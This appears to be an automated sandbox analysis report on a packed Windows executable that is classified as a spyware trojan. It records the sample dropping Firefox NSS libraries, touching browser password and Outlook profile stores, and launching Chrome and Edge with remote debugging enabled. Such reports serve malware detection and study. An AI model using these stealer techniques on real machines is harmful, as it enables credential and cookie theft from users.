Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A7810	0_2_6C5A7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB820	0_2_6C5DB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E4820	0_2_6C5E4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6050C7	0_2_6C6050C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BC0E0	0_2_6C5BC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D58E0	0_2_6C5D58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C60A0	0_2_6C5C60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B170	0_2_6C60B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BA940	0_2_6C5BA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EB970	0_2_6C5EB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AD960	0_2_6C5AD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5190	0_2_6C5D5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2990	0_2_6C5F2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD9B0	0_2_6C5CD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59C9A0	0_2_6C59C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D9A60	0_2_6C5D9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D8AC0	0_2_6C5D8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B1AF0	0_2_6C5B1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DE2F0	0_2_6C5DE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C602AB0	0_2_6C602AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ACAB0	0_2_6C5ACAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60BA90	0_2_6C60BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5922A0	0_2_6C5922A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C4AA0	0_2_6C5C4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C595340	0_2_6C595340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AC370	0_2_6C5AC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD320	0_2_6C5DD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6053C8	0_2_6C6053C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59F380	0_2_6C59F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5D94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5CCBE8 appears 134 times

Source: file.exe, 00000000.00000002.2482326707.000000006C815000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: wcmalsok ZLIB complexity 0.9949215235077984

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@63/293@29/23

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5F7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C5F7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\7H2WS78R.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\1ea598bd-c559-4f35-8284-5e5abaa5aadf.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2474963021.000000001DAF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481518626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482184054.000000006C7CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2474963021.000000001DAF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481518626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482184054.000000006C7CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2474963021.000000001DAF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481518626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482184054.000000006C7CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2474963021.000000001DAF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481518626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482184054.000000006C7CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2474963021.000000001DAF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481518626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482184054.000000006C7CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2474963021.000000001DAF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481518626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2474963021.000000001DAF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481518626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2482184054.000000006C7CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2348149847.000000001D9E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245337179.000000001D9F4000.00000004.00000020.00020000.00000000.sdmp, JDGCGHCGHCBFHJJKKJEH.0.dr, IIJEBAECGCBKECAAAEBF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2474963021.000000001DAF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481518626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2474963021.000000001DAF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481518626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 40%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2132,i,11183207803879685055,12485712220521479239,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2360,i,16132675019208268467,7043388266169476351,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6976 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7156 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7300 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2132,i,11183207803879685055,12485712220521479239,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2360,i,16132675019208268467,7043388266169476351,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6976 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7156 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7300 --field-trial-handle=2588,i,14145993167360465944,9521195328599800155,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2145792 > 1048576

Source: file.exe

Static PE information: Raw size of wcmalsok is bigger than: 0x100000 < 0x1a0c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2482184054.000000006C7CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2459973983.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2482500766.000000006C891000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2041928747.00000000053BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2459973983.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2482500766.000000006C891000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2041928747.00000000053BB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2482184054.000000006C7CF000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.c80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wcmalsok:EW;lajdpeqi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wcmalsok:EW;lajdpeqi:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5FC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C5FC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x21b827 should be: 0x20be1a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: wcmalsok
Source: file.exe	Static PE information: section name: lajdpeqi
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5CB536 push ecx; ret

0_2_6C5CB549

Source: file.exe

